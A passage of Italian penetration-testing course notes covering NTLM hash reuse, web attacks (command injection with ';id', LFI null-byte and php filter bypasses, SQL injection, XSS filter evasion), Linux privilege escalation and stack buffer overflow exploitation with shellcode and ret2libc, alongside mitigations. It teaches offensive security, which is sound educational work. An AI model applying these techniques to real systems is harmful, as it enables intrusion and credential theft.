- Net-NTLM: presente in due versioni v1 e v2, vengono usate in rete. IN particolare, quando avviene l'autenticazione tramite rete entra in gioco il protocollo NTLM, che è di tipo challenge-response: il server invia una challanege, uso la password per ottenere un hash della challenge, il server fa lo stesso e se coincidono, otteniamo l'autenticazione. Dalla versione v2 l'algoritmo è completamente differente e più difficile da crackare. Per rispondere al protocollo di C-R, il client prende la challenge, ne fa l'hash con la password e lo rimanda al server, che fa la verifica.

per l'autenticazione su rete, avere anche solo l'hash della password va bene: se riusciamo a leggere il file SAM, possiamo impersonare gli utenti anche solo con l'hash. La response del client dovrebbe basarsi sulla password e sulla challenge, ma Microsoft ha deciso di calco-

lare la response basandosi sull'hash della password. Quindi, preso l'hash NT o LM, quella è la stringa che viene usata per calcolare la response. Quindi, anche conoscendo l'hash è possibile autenticarsi. Normalmente nel challenge-response è buona norma che sia il server a scegliere la challenge e che poi il client risponda, mentre su questi protocolli è il client che può scegliere la challenge. Se siamo loggati su Win, non è possibile accedere al file del database SAM, ma è possibile fare una copia di 3 file, che possono essere letti. È necessaria una sessione come SYSTEM (che ha permessi più elevati di ADMINISTRATOR), ma basta aprire una shell come ADMIN per eseguire i comandi. Ci sono dei programmi per fare ciò, tra cui Mimikatz, che viene però riconosciuto come pericoloso da Win.

10 Web Applications

All'interno della macchina target, c'è un applicazione a cui si può accedere e quindi a livello di rete il firewall fa passare le richieste in quanto l'utente può accedere. All'interno della stessa rete, possono esserci dei servizi a cui l'utente non può accedere, protetti dal firewall: a livello di rete il firewall garantisce che un attaccante non possa accedervi, ma spesso l'applicazione è sviluppata in modo custom e se non è sicura può permettere all'attaccante di accedere al resto dei servizi e delle infrastrutture che dovrebbero essere protette. Le applicazioni web sono molto diffuse e sono target di molti attacker, che le usano come punto per iniziare un attacco verso un servizio: il processo di ricerca di vulnerabilità di siti web viene automatizzato per poter essere scalato su altre app simili.
Le web app sono semplici da sviluppare, ma non dal punto di vista della sicurezza. I threats che possono esserci in una web app sono varie:

- information disclosure: segreti aziendali, informazioni finanziare etc

- perdita di dati: sovrascrittura di dati, modifica dei dati in modo da corromperne l'integrità
- denial of service (DoS)

La comunicazione nelle applicazioni web si basa prevalentemente su HTTP:

- GET: richiesta di risorse
- POST: si possono inviare nel body anche dei parametri

10.1 OWASP

Ente che si occupa di promuovere lo sviluppo di web application sicure, stila una classifica di vulnerabilità presenti nelle web application periodicamente.

Injection Un esempio è la SQL injection: metto in una query di select, nella parte del where, di inserire una condizione sempre vera. Per mitigare questo tipo di threat, occorre sempre validare l'input utente. Inoltre, nel caso di SQL è possibile usare prepared statement e garantire privilegi minori agli utenti che accedono al DB.

Malicious file execution php permette di includere dei file all'utente, questo può portare all import di file malevoli e farli eseguire. Anche qui, una soluzione può essere validare l'input e permettere solo di includere risorse esterne.

Broken authn e session management tecniche di session hijacking, come ad esempio eavesdropping se il canale non è protetto. Per poter risolvere ci sono varie strade, ad esempio generando nuovi session ID sul login, usare cookie per salvare i session ID.

Cross Site Scripting in relazione con la gestione della sessione delle autorizzazioni: la vittima non è più l'host, bensì gli altri utenti che vi si collegano. Lato utente, quando si comunica con HTTP viene eseguito del codice JS, se l'input dell'utente non viene validato, accade che quando altri utenti vi accedono il browser lo eseguirà (ad esempio, un forum che permette i commenti).

Spesso si arriva alla fase di exploitation o attraverso vulnerabilità di servizi oppure tramite il web. Attaccare una web app può significare molte cose, in particolare ci sono molti meccanismi che funzionano sul web e che permettono di ottenere un punto di accesso. Poiché una web app è solitamente composta da client e server, possiamo attaccare una delle due applicazioni: per il server ci sono:

- injection
- buffer overflow
- ...

mentre per il client:

- exploit del JS, che viene eseguito nel browser nel momento in cui si accede ad una web app.
- ...

possiamo iniettare dei contenuti malevoli nell'applicazione in modo che ogni client li esegua quando si connette all'app. Una volta ottenuto l'accesso tramite web, c'è la fase di privilege escalation, intesa sia come aumento dei privilegi lato web, ma anche sulla macchina in se nel caso in cui abbiamo ottenuto una shell sulla macchina (sia client che server). Tipicamente l'attacco client necessita di interazione, l'attacco lo si ottiene quando il client effettua un'azione, come ad esempio un click o l'accesso ad un sito web.

10.2 Web Enumeration

Raccolta informazioni su applicazioni web.

Enumeration folder per scoprire quali path esistono nel sito web, si fa una enumerazione di file e cartelle usando una wordlist, mandando delle GET e vedendo le risposte. Potrebbero esserci file che implementano una parte vulnerabile per la web app, oppure file e cartelle che nascono link. Tutti i tool si basano sulla risposta HTTP: a seconda del codice di risposta, otteniamo delle informazioni:

- 200: richiesta eseguita con successo
- 500: server è andato in errore per colpa sua
- 400: errore del server causato dal client

Un'altra informazione di cui avvalersi è il file robots.txt: veniva usato per dare istruzioni ai "robot" del web, ovvero che visitano ed indicizzano i siti web in automatico (come Google) per togliere dall'indicizzazione alcuni file. Lato attaccante, il file deve essere leggibile a tutti, quindi possiamo conoscere dei path che vengono o tolti dall'indicizzazione o aggiunti.
Ci sono 2-3 tool utilizzabili:

- Dirbuster
- Dirsearch
- Gobuster: più recente, scritto in Go e molto customizzabile

nell'implementazione di dirsearch o gobuster non viene fatta la ricerca ricorsivamente nelle cartelle che si trovano, quindi va fatta a mano. Per quanto riguarda le estensioni da cercare, ce e sono alcune che vale la pena cercare, molte non sono standard:

- con vim è possibile che venga creato un file di backup che termina con (tilde), quindi se quel file non viene cancellato, potremmo enumerare la versione .php(tilde) che quindi non viene eseguito dal server web, bensì restituito così com'è
- php con tutte le estensioni 3-4-5-7
- .asp, .aspx, .asmx

- .js
- .py, .cgi, .pl etc...

Parameter enumeration in una richiesta HTTP ci sono parametri di GET o di POST, nel caso di GET vengono messo nell'URL mentre nella POST vengono messi nel body. In una GET, sia i parametri che il contenuto devono essere human readable, inoltre l'URL non può eccedere una certa taglia. Quindi, se abbiamo bisogno di flessibilità usiamo la POST. Da un punto di vista protocollare, la GET era pensata per essere idempotente, quindi che il server non cambiasse mai stato, mentre la POST ammette cambiamenti di stato, quindi ad esempio a seguito di un login avviene un cambiamento di stato. Una pagina in php potrebbe avere dei parametri e cambiare il funzionamento in base alla presenza o meno del parametro. Il programma wfazz prende come input un punto della richiesta HTTP, una wordlist e sostituisce in quel punto ogni parola della wordlist; il punto in cui fare fuzzing viene identificato con la parola *FUZZ*. wfuzz non sa quando una richiesta restituisce un valore corretto o no: si può tentare con trial and error

10.2.1 Bruteforcing

Può rendersi necessario dover effettuare il brute forcing di un form di login web, uno dei tool che si possono usare è hydra: per capire quando il login è fallito o ah avuto successo è possibile specificare un parametro nel comando, viene usato più spesso il messaggio di insuccesso.

10.3 Command injection

Il solito problema, non esclusivo delle web application, è che occorre prendere dati dall'utente. Bisogna controllare che i dati siano validi, che non implicano problemi di sicurezza, ovvero che non sta cercando di iniettare qualcosa che non siamo pronti a gestire, perché

nel momento in cui viene passato qualcosa di non previsto nel flusso dell'applicazione e viene usato per comandi su shell, query SQL etc..., messo così com'è si rischia di incorrere in problemi di injection. Le command injection avvengono nel momento in cui provo a prendere i parametri dall'utente e li uso come comando su shell, o nell'interprete con cui è sviluppata l'applicazione, e permettono di eseguire comandi arbitrari.

10.3.1 Common gateway interface

ormai vecchie, anche se è ancora in uso. È un modo per sviluppare una web app usando un qualsiasi linguaggi di programmazione in back-end: si sviluppava l'app, si abilita il modulo di apache e si mette nella cartella apposita lo script e poi viene presentata al client come HTML. La parte dinamica di acquisizione input è lato back-end, l'utente passa i parametri e sta chiamando uno script scritto in qualche linguaggio, che viene eseguito dal server e restituisce una pagina (html) al client. Gli script sono cgi, ovvero scritti in diversi linguaggi che possono esser perl, bash etc..., cambia l'environment in cui lavora il back-end ed è importante capire questo: in base all'environment, ci sarà la possibilità di fare diverse cose dal punto di vista di attacco.
Ormai non è più usato, se non per piccoli dispositivi embedded, ad oggi si trovano web-app scritte in php, Java, python + nodeJS etc... Dal punto di vista di command injection non cambia nulla, in quanto la necessità di prendere input dall'utente può sempre essere necessario.

10.3.2 Come fare command injection

Immaginiamo di avere uno script bash, che fa il cat di un file e l'output viene mandato col comando mail ad un indirizzo passato come input al programma. Nel mondo web, ci sarà uno script cgi che fa una cosa simile nel back-end, cosa può succedere: lo script può es-

sere usato per passare dei file internamente, qualcuno lo mette in un web service come cgi script. Se mi rendo conto che sto facendo questa cosa che l'environment è bash, questo permette di concatenare i comandi e quindi potrei mandare come input una mail e passare qualcosa come ;id questo diventa un problema. Quindi, posso manipolare il flusso dell'applicazione facendo eseguire **in back-end** dei comandi arbitrari.
Tra i linguaggi più diffusi per scrivere il back-end c'è php, che permette di scrivere in una pagina web del codice che permette di renderizzare il contenuto in base all'utente. Il problema del php, come anche di altri linguaggi, è che ci sono delle procedure che eseguono i comandi inseriti all'interno del server stesso:

- exec()
- shell_exec()
- passthru()
- ...

quindi se una pagina web contiene qualcosa del genere, è rischioso in quanto i parametri possono essere direttamente eseguiti su shell. Il problema è che se non viene validato l'input, magari il path utente è alterato ed include, ad esempio, comandi concatenati. Quindi, quello che si fa lato attacker è sfruttare la situazione per prendere informazioni, fare una reverse shell etc... Le web app possono essere protetti dai Web Application Firewall (WAF) che sono programmati per cercare di filtrare i comandi passati con "& | ;" etc... Per poter aggirare questo problema, possiamo sfruttare altri aspetti del linguaggio.

10.3.3 Mitigazione di command injection

Per poter mitigare il caso in cui è possibile mitigare una command injection è la validazione e sanificazione dell'input:

- nel momento in cui il parametro va usato per qualsiasi cosa (per prendere un file, fare query etc...) bisogna verificare che rientri in quello che ci aspettiamo: se mi aspetto un input un IP addr, devo ricevere solo un IP addr
- se ho ricevuto l'input corretto, ma magari ci sono delle cose che non tornano, come le virgole al posto dei punti in un IP, posso sostituirli con dei punti
- per parametri non standard, si cercano tutti i caratteri che rimandano ad un possibile attacco o che possono inficiare il comando, tramite regexp, whitelist (la stringa contiene solo caratteri che nella lista) o blacklist (non sono presenti i caratteri della lista)
- un altro modo per mitigare i problemi è limitare i privilegi

10.4 File inclusion

Altra vulnerabilità lato web, funziona in modo specifico con php

10.4.1 Panoramica su php

Php (Hypertext Preprocessor) è un linguaggio lato server, il codice viene eseguito solo dal server web. L'output di uno script php è html. Di solito, una pagina in php ha come estensione .php; le richieste di get fatte ad un pagina php vengono eseguite lato server e fornisce come risultato una pagina html. Il php può essere unito all'html, l'importante è racchiudere il codice php fra i tag <?php ? >. La pagina viene eseguita ogni volta che c'è una richiesta http verso lo script corrispondente, il linguaggio è interpretato dall'interprete php nel web server per poi generare l'output corrispondente, ogni istruzione php è quindi interpretata ed eseguita a run time da un interprete.
Php offre un comando *eval*, che esegue il contenuto di una stringa (che sarà uno script) e ridà il risultato.

C'è poi il comando include, per poter referenziare altri file contenenti script php, il file incluso viene interpretato ed incluso, per poi proseguire con il resto dello script (è come fare l'eval riga per riga del file incluso).
Per l'inclusione dei parametri, all'interno dello script ci sono due array associativi: $_GET e $_POST, si accede ai parametri indicizzando gli array con la chiave. Nei file di log di un server web, di default le richieste GET vengono loggate con tutto l'URL della richiesta, nel caso di post non si vuole loggare l'URL (perché altrimenti i file di log sarebbero grandi). C'è $_COOKIE, array che contiene i cookie, ed infine $_REQUEST che recupera il parametro da uno dei possibili array.

10.4.2 Local file inclusion

Sfrutteremo la direttiva inlcude di php: capita che un app in php effettui l'include di un file che permette la modifica di una parte o di tutto il nome del file. È un inclusione locale perché inclusion funziona includendo file nel FS locale del server. È possibile mitigare la LFI, ma ci sono anche modi per bypassare questo: usando il byte nullo %00 si può bypassare il filtro sul file da includere (che abbia solo estensione .php). La codifica in URL, che avviene usando l'esadecimale, dovrà ad un certo punto essere decodificata e se questo viene fatto dal server web, a php arriva la stringa decodificata. Ma se questo viene fatto lato php, la stringa verrà decodificata da php e l'inclusione avrà successo. Questo avveniva da php 5.3 ed inferiori, ad oggi non succede quasi mai.

Filtri di conversione php rende disponibili dei filtri di conversione, come ad esempio in base64. Come usare per LFI: richiediamo l'inclusione di un file in base64. Una volta ritornato il base64, lo convertiamo a mano. Utilissimo se riusciamo ad accedere a file che magari contengono segreti.

Se non è possibile eseguire comandi da shell perché non disponibili, possiamo comunque leggere/scrivere file o vedere file in una cartella tramite php. Quindi nel log exploitation può essere comodo: la locazione del file di log è scritto nella configurazione del file e solitamente sono quasi sempre accessibili.
Una cosa a cui si ha sempre accesso è la cartella /proc/self: cartella gestita dal kernel, contiene cartelle relative ai vari processi (marcate col pid), che contengono anche le variabili d'ambiente del processo. Può capitare che ci sia lo user agent usato per le richieste, quindi si può attaccare similmente al file di log. Non è detto che si abbia accesso ad environ, mentre a /proc/self sì.
HTTP è stateless, quindi i cookie vanno salvati da qualche parte lato server: php li salva in una cartella, di default quello che succede è che i cookie hanno sempre lo stesso nome, ovvero *SESS_nome cookie*. Potremmo cambiare il cookie passato alla richiesta, con del codice php: la parte php verrà eseguita, mentre il resto verrà eseguito in modo raw.

Capire che c'è LFI per prima cosa, occorre capire che c'è una parametro, che in base al valore cambia risultato (ad esempio: page=qualcosa).

Per proteggersi da una FLI:

- l'input va sempre controllato e ripulito
- il campo può essere lasciato vulnerabile, ma evitare di creare file su fs

Remote file inclusion Simile alla LFI, ma la risorsa viene presa da una locazione remota, come ad esempio la macchina dell'attaccante: si passa quindi come file o page l'URL alla macchina attaccante / il file remoto da includere.

10.5 SQL injection

SQL è un linguaggio per accedere a DB, nelle web app il DB viene consultato dal server mentre questo processa la richiesta (eseguendo codice php), se necessario. Interagisce col DB facendo query in SQL, riceve un output che usa per generare la pagina di risposta per il client. Se permettiamo di carica file con SQL si rischia di permettere all'attaccante di caricare file arbitrari in php, ad esempio per prendere una reverse shell.

Tautologie importanti per le SQL injection, sono condizioni sempre vere. Possono essere combinate in query con gli operatori logici, viene usata solo dall'attaccante. Se riusciamo ad iniettare delle espressioni nella query, questa non viene più filtrata e quindi si può ad esempio accedere a tutti i dati.

Le SQL injection possono essere classificate in base a che tipo di injection si effettua, a dove viene eseguita l'injection, in base alle tecniche di come viene effettuato l'attacco etc... Per i tipi di attacco abbiamo:

- in-band: viene usato lo stesso canale che si usa per mandare la query. Ad esempio, inserisco il payload in un form ed il risultato è dato dalla query iniettata
- out-of-band: 2 canali differenti, uno è usato per mandare il payload, l'altro riceve il risultato del payload
- inferential: non c'è trasferimento dei dati, l'attaccante riesce a ricostruire le informazioni in base al tempo di risposta, per capire ad esempio se ci sono dati presenti nel DB.

Se la query è vulnerabile, nel momento in cui passo un parametro errato, posso riuscire a distinguere una situazione di funzionamento normale da una di errore: se ad esempio passo come parametro ', questo da errore di sintassi (perché tutti gli apici vanno chiusi),

quindi possiamo vedere se è possibile fare una error-based injection. Proviamo ad iniettare qualcosa, come ad esempio un parametro valido seguito da un commento: se la query funziona, allora non vengono usati gli apici, altrimenti va in errore. Usiamo le UNION per unire il risultato di 2 query, ci sono però due restrizioni sulle tabelle che si uniscono:

- il numero di colonne deve essere uguale
- il tipo delle colonne uguale

sfruttiamo ORDER BY, per capire il numero di colonne che restituisce la query. Su mySQL c'è un DB che si chiama INFORMATION_SCHEMA (se cambia BD, cercare quale è il corrispettivo). È possibile automatizzare tutto il processo di scansione con sqlmap, ad esempio passando come proxy burp, per intercettare le richieste e capire i passi eseguiti. L'idea è quindi di sfruttare un parametro del protocollo per fare l'injection, che può essere fatta con qualsiasi protocollo che comunichi con DB. Un possibile test è usare una tautologia, se il parametro non è messo tra apici, altrimenti occorre commentare una parte della query. Con le injection è anche possibile cancellare dati o scrivere e leggere su file system, una volta trovato il punto di iniezione, si può combinare qualsiasi cosa con SQL.
Per il DB di Microsoft, viene offerta una funzione per eseguire comandi su shell in automatico.

10.5.1 Blind SQL injection

L'ultimo tipo di iniezione sono le blind, dove l'utente non vede il risultato della query, o vede un errore generico. In questo caso, si fanno una serie di richieste che possono essere vere o false e si sfruttano i side channels: a seconda della condizione usata , questa può essere associata ad un dispendio di tempo, a seconda quindi del tempo che passa sappiamo se la query ha avuto successo o no; è il tempo in questo caso il side channel. Dobbiamo aggiungere una condizione per cui se questa è verificata si fa qualcosa, altrimenti si fa altro

come spreco di tempo (se la condizione è falsa).
A seconda del DB, ci possono essere delle funzioni particolare da utilizzare, ad esempio mySQL offre *char*, che presa una lista di interi, li converte nei caratteri corrispettivi. Può essere utile nel caso in cui il nome di un file che si vuole aprire contiene dei caratteri particolari. È possibile automatizzare con uno script il trial and error sul carattere da indovinare (ad esempio per la versione), impostando un timeout, è utile capire la soglia ottima di SLEEP, che viene attivato o nel caso in cui la risposta è giusta o nel caso in cui è sbagliata (dipende dalla scelta che si fa).

10.5.2 Capire se c'è SQL injection e soluzioni

Per capire se è possibile effettuare una SQL injection, occorre verificare se c'è un parametro (in questo caso HTTP), il cui cambiamento fornisce una pagina differente. Si parte ad esempio inserendo un apice per vedere se l'applicazione va in errore, e che l'errore sia distinguibile da errori applicativi etc... Una volta scoperta la vulnerabilità si può partire con l'injection.
Il problema come sempre è che c'è un input non validato: il client ha accesso all'input e l'applicazione non lo gestisce correttamente. Lato server, occorre controllare tutti gli input possibili, se questi vengono usati per accedere al DB, ma in generale vanno controllati sempre. Per fare il controllo, si possono togliere i caratteri pericolosi come #, –, UNION etc... ma questo non è sufficiente perché bisogna stare attenti che la parola sia lower/upper case etc..., quindi usare una black list non porta sempre al 100% al risultato voluto. È sempre meglio usare una white list, ovvero una lista di caratteri permessi.
Oggi, nei linguaggi di programmazione esistono le query parametrizzate (prepared statement) che sanificano l'input in automatico.

10.6 Cross-Site Scripting (XSS)

Vulnerabilità con un basso impatto, in quanto permettono di eseguire codice JavaScript sul browser del client. Il concetto fondamentale è che siamo vincolati ad un browser di un client, si potranno ad esempio leggere cookies di sessione, o anche effettuare l'escape dal browser ed ottenere una shell (ma è molto instabile, quindi non lo vedremo). Html permette di importare pezzi di JS, che può essere eseguito dal browser utente. Il modello con cui i browser eseguono il JS è il seguente:

- carica la pagina, posizionando tutto come stabilito da HTML e CSS
- parsa JS, fa girare plugin etc
- gestisce eventi di scroll del mouse etc... che sono visti come eventi, nel momento in cui uno di questi viene attivato si triggera l'azione corrispondente

Ci interessa il comportamento dinamico, in modo che se ci sono input gestiti in modo sbagliato, ci sono anche vulnerabilità non gestite lato client. Cookies: sono mantenuti internamente dal browser, in caso di autenticazione determinano la condizione di autenticazione. Quando avviene un autenticazione al server, se questa ha successo, viene settato il cookie: il server salva il cookie nel FS, lo rimanda al browser nella response e questo lo userà in tutte le successive richieste, in modo da far sapere al server che è avvenuta l'autenticazione. Avere accesso ai cookies permette di fare session hijacking, senza conoscere la password ci autentichiamo al server. In JS, c'è un attributo document.cookie, che mantiene tutti i cookies per una determinata sessione con il server: se copiamo tutti i cookies ed effettuiamo le richieste, siamo autenticati.

10.6.1 Tipologie di XSS

Ci sono due tipologie principali di XSS:

- reflected XSS: se c'è la possibilità di iniettare codice JS, si può passare l'URL risultante col parametro di input già settato per mail ad una vittima, ed una volta che questa apre il link, il browser parsa il JS.
- stored XSS: se un form per i commenti supporta codice HTML, magari pe evidenziare con bold, può supportare anche codice JS. Quindi se inseriamo codice JS e mandiamo il commento, il codice verrà eseguito da chiunque scarica quel commento. È stored in quanto il JS malevolo è salvato sul server, ad esempio in un database.

la protezione da XSS usando balcklist può essere non sufficiente,c ome abbiamo detto, ad esempio se si filtra solo $< script >$, si può scrivere tutto upper o misto upper-lower case, oppure inserire un tag html come una $< img >$, con opzione *onerror* che esegua codice JS, etc...

11 Privilege escalation

Ultima fase del penetration testing: dopo aver ottenuto l'accesso, lo scopo del pentest / minaccia reale è quello di elevare i privilegi. Magari siamo utente www-data, my-sql etc... ora dobbiamo tentare di diventare root. Dobbiamo ricominciare con la raccolta informazione e la ricerca di un nuovo punto di accesso, in maniera differente da prima, cercando diversi punti di accesso e poi tentare. Bisogna prepararsi a vari fallimenti, *CONSIGLIO DI VITA:* quando siamo alla fase di raccolta informazioni, non focalizzarsi su una per troppo tempo senza mai vedere le altre. Spesso, vengono dedicate parecchie ore ad un unico punto, che magari non porta poi ad un punto di accesso vero. Conviene andare a rotazione, dedicando una fetta di tempo ad ogni informazione trovata, vale un po' per ogni fase.

Quindi, abbiamo una shell poco privilegiata, con sudo -l scopriamo

cosa può fare l'utente, i file con bit di UID/GID settati, che permettono al programma di poter diventare root durante la sua esecuzione. Se uno è vulnerabile, possiamo sfruttarlo per diventare root. (Consultare *basic Linux privilege escalation*).
Alcuni esempi:

- vedere che versione del kernel Linux è presente sulla macchina può aprire le strade a kernel exploitation
- verificare le variabili di ambiente
- controllare le varie shell presenti
- che servizi attivi ci sono, ed ognuno di questi che privilegi ha e filtrarli per utente

Il consiglio è sempre di NON focalizzarsi sui comandi presenti nella guida, bensì su COSA stiamo cercando.
Trick: se ci colleghiamo tramite ssh col server, abbiamo una connessione cifrata che permette di mandare comandi al server, ssh permette di creare dei tunnel, in cui possiamo far entrare dei pacchetti diretti verso altre macchine.

12 Reversing

Sfrutteremo delle vulnerabilità presenti all'interno di file binari generati dalla compilazione di programmi scritti male, quindi useremo degli exploit (scritti da 0) per sfruttare la vulnerabilità e prendere la shell. Quando vengono scritti dei programmi di tipo compilato, come C, questi sono scritti ad alto livello, si ottiene un eseguibile e viene lanciato.

12.1 Registri

Il PC ha un processore, che è una unità programmabile che prende dei dati in input, li processa e restituisce fuori l'output. Per fare

ciò deve salvare i dati e le istruzioni in registri, tutte le operazioni avvengono con numeri in formato binario, ci sono varie architetture di processori, ci focalizziamo sull'architettura x86 (Intel), che si divide in 32 e 64 bit. La conversione da alto livello a codice binario avviene con Assembly, che associa dei simboli a delle sequenze binarie, in maniera 1-a-1.
Il processore ha una sua memoria, formata da registri, locazioni di memoria molto veloci e che sono sul processore. Nell'architettura a 32 bit i registri sono a loro volta a 32 bit, ci sono 6 registri general purpose e 3 speciali che puntano allo stack, alla base dello stack ed uno che punta alla prossima istruzione da eseguire. Ci sono due tipologie per manipolare i registri, ci focalizziamo sulla Intel:

- similmente al C, in una istruzione c'è un operatore, la destinazione e la sorgente
- i registri si nominano col loro nome
- le parentesi quadre contengono un indirizzo di memoria centrale

l'Assembly è una serie di istruzioni eseguite in ordine e poi "interpretate" dal processore. (Per le istruzioni, consultare `https://www.cs.virginia.edu/~evans/cs216/guides/x6.html`.

12.2 Memoria

La memoria è visto dal processore come un "array di byte", ogni elemento ha un indirizzo e la lunghezza dipende dall'architettura (32 o 64 bit max). Se l'indirizzo è composto da massimo 32 bit, possiamo indicizzare al massimo 2^{32} bit = 4GB, quindi non si potevano a vere più di 4GB di RAM perché non indicizzabili. La memoria deve essere divisa per ogni processo nel SO, se fosse condivisa ci sarebbero gravi conseguenze, per cui l'aera di memoria di un processo è privata, e la porzione è divisa in molte aree: un file compilato contiene diverse sezioni

- text: sezione che contiene le istruzioni assembyl

- data: variabili globali e statiche
- heap: memoria dinamica, allocata su richiesta con malloc()
- stack: memoria statica: è pre-allocata e di taglia fissa, usata per variabili locali e per chiamate a funzioni

12.2.1 Stack

Il modo in cui si inseriscono e si prelevano informazioni nello stack, in Assembly, sono le istruzioni di push e pop. Inoltre, lo stack cresce come una pila, ma in senso opposto, al crescere decrementa il valore dell'indirizzo: ci sono stack pointer e base pointer che puntano rispettivamente a cima e coda dello stack, i due contenuti nei registri di CPU. La pop non cancella l'elemento, bensì fa calare lo stack pointer nella unità successiva.
In un linguaggio di alto livello, la funzione è una porzione di codice che ha "vita propria", accetta dei parametri, ha dei parametri di stack, etc... la convenzione per la chiamata a procedura in assembly fa parte dell'ABI ed è specifica del compilatore: l'ABI definisce come il codice macchina deve comportarsi quando accede a delle strutture dati o dalle sotto-procedure.

Chiamata a funzione la convenzione di gcc è cdecl, che prevede:

- chi chiama la funzione, i parametri vanno messi nello stack con una push per ognuno, in ordine inverso (perché così la pop ristabilisce l'ordine)
- il chiamante deve occuparsi di pulire lo stack
- la funzione chiamata deve mettere il valore di ritorno in eax

Il chiamante, prima di trasferire la chiamata, deve inserire nello stack l'indirizzo di ritorno, ovvero della prossima istruzione da eseguire. Il codice del chiamato è contenuto fra il prologo e l'epilogo: la funzione ha il suo stack frame in cui può fare tutto quello che vuole, prima di

ritornare cambia il valore dei puntatori originali dello stack usando i valori di prologo ed epilogo.

Poiché la funzione si è riservata un pezzo di stack, e poiché sotto c'è l'indirizzo di ritorno: se l'exploit riesce a sovrascrivere l'indirizzo di ritorno, verrà eseguita l'istruzione che si trova in corrispondenza di quell'indirizzo.

12.2.2 ELF

Formato di file su Linux che rappresenta un file eseguibile, composto da un header che contiene:

- l'ABI
- l'architettura del processore
- ...

oltre l'header c'è il section header, dove ci sono scritte le informazioni sulle altre sezioni, poi ci sono le sezioni .text, .data etc... copiate a run time quando necessarie.
Ogni sezione ha associati dei permessi: prima di eseguire, viene verificato se ci sono i permessi.

12.3 Reversing del programma

Per capire dove può esserci la vulnerabilità, occorre fare reversing, ovvero capire cosa fa il programma senza conoscere il codice. Si può fare in due modi:

- analisi statica
- analisi dinamica: si fa partire il programma per vedere come si comporta

si può convertire il binario in Assembly, oppure usare usare dei tool di debugging come gdb. L'analisi dinamica può essere molto utile

non solo nel reversing, ma anche per effettuare la fase di privilege escalation. Una cosa utile da fare quando si parte con l'analisi statica, è lanciare i comandi strings o file sul file, in modo da vedere se ci sono informazioni utili. È utile iniziare con una fase di analisi dinamica base:

- eseguire il programma
- tracciare con ltrace/strace tutte le chiamate alle librerie che vengono eseguite, con tutti i parametri
- fare debugging con gdb

queste prime fasi forniscono un buon punto di inizio per il programma.

12.4 Stack buffer overflow

Supponiamo di avere una funzione, che ha un parametro puntatore a char, una variabile locale che è un array di 16 byte e chiama strcpy() per copiare il parametro di input in buffer. Vengono allocate 4 celle di memoria per contenere i 16 byte della stringa sorgente, il problema della strcpy è che questa copia finché non incontra il byte nullo, non fa controlli sulla stringa destinazione. Quindi, una volta che è terminata la copia, si sovrascrive l'EBP salvato e l'EIP salvato. Quando la chiamata termina, ripristina EIP ed EBP, quindi se mettiamo un indirizzo a piacere nell'EIP riusciamo a manipolare la prossima istruzione da eseguire. L'idea è scrivere nel valore dell'EIP salvato l'indirizzo voluto, manipolando la primitiva di scrittura con strcpy. Dobbiamo quindi mettere nello stack o nell'heap una sequenza di codice nel binary code una sequenza di istruzioni che vogliamo noi, in modo da poter poi farlo eseguire.
Per creare il codice malevolo possiamo usare msfvenom, che crea codice malevolo che esegue execve per prendere una shell, oppure codice per prendere una reverse shell/bind shell. Possiamo effettuare lo spawn di una shell come l'utente che è proprietario del bina-

rio, quindi se un programma ha bit SETUID esegue come un utente diverso da root, ma chiamando SETUID può diventare root per un determinato periodo di tempo. Quindi se facciamo prima SETUID a 0 e poi execve, possiamo diventare root.
Se invece un server TCP/HTTP è vulnerabile a buffer overflow, possiamo far eseguire all'applicazione una shell ed ottenerla, grazie solo al server http vulnerabile.
Per eseguire l'injection del programma, dipende dai casi: nell'esempio precedente, il programma prende in input una stringa, che è un array di byte. In C, un byte si rappresenta con \x–, (–per le due cifre del byte), stando attenti al byte nullo che interrompe tutto, quindi se la stringa ne ha uno è un problema.

12.4.1 Code injection

Per sfruttare buffer overflow, dobbiamo preparare un payload nell'applicazione target. Dobbiamo iniettare shellcode + shellcode_addr, ci sono però alcuni problemi

- se lo shellcode è troppo piccolo, basta aggiungere byte a caso
- se lo shellcode è troppo grande, ne dobbiamo prendere uno più piccolo
- (slides)...

Iniettiamo lo shellcode, per riempire i byte aggiuntivi possiamo usare il byte \x90, che corrisponde all'istruzione "no-op", che è safe. Una volta scritti i byte per arrivare all'offset nello stack di EIP, sovrascriviamo EIP con l'indirizzo dei primi 4 byte dello shellcode, così che poi questa verrà eseguita all'uscita del chiamato.
Per rendere l'attacco completo:

- trovare l'indirizzo di shellcode: usiamo gdb
- trovare l'offset di EIP: abbiamo necessità di installare una estensione per gdb. Per calcolare l'offset EIP, possiamo farlo a mano

idealmente, ma praticamente non è quasi mai così. Sfruttiamo la creazione di pattern non ripetitivi con gef ed a questo punto passiamo il payload o con < o con $(cat payload). Sappiamo che il programma è vulnerabile se vediamo segmentation fault, vedendo il log del kernel vedremo l'eccezione (in quanto è grave). Siccome il pattern non è ripetitivo, sapremo il valore dell'offset cercando la posizione del pattern

- generare lo shellcode: shell-storm.org, contiene innumerevoli shellcode

Una volta messi insieme i pezzi, bisogna fare dei conti per costruire il payload: abbiamo lo shellcode, i byte per fillare fino a raggiungere l'offset di EIP + i 4 byte per inserire l'indirizzo dello shellcode.

12.5 x86 Buffer Overflow

Quando eseguiamo il programma in Linux, l'indirizzo dello stack viene messo a caso, ma vicino a 0xbfffff. Vediamo quindi quali mitigazioni sono state inserite da Linux e come bypassarle

12.5.1 Mitigazioni

NX bit per come è stato pensato lo stack, non dovrebbe avere del codice da eseguire. Quindi è stato tolto il bit di x nello stack, in modo che il processore vada in errore. Ci sono due livelli di NX bit:

- NX bit specifico per il programma
- NX kernel-specifico

ASLR: oltre ad essere scelto a caso in un indirizzo vicino a 0xbfffff, lo stack viene sempre scelto a caso, così come anche heap. In questo modo, gli indirizzi cambiano ogni volta che il programma viene eseguito nuovamente. Per abilitare o disabilitare la protezione c'è un file in /proc/sys/kernel che è randomize_va_space.

Stack canaries vengono messi dei valori noti sullo stack, in modo da verificare se, prima di ritornare dalla funzione, questi valori sullo stack non sono stati corrotti. Se sono stati corrottim il programma termina

Source fortification se usiamo funzioni sensibili, ad esempio strcpy, queste vengono sostituite con funzioni più sicure.

12.5.2 Bypass

Bypass di NX la libc di Linux contiene tutte le funzioni di libreria utilizzate, traimite il suo utilizzo possiamo bypassare i controlli. La tecnica si chiama ret2libc, l'obiettivo è quello di eseguire funzioni della libc per eseguire la shell, ad esempio con i comandi system, execve etc...
Dobbiamo scrivere codice assembly che chiama la funzione con i parametri. Ci concentriamo su system, che vuole sono il comando da eseguire: scriviamo uno shellcode che prende come parametro "bin/sh" e chiama system.

1. troviamo l'offset di EIP
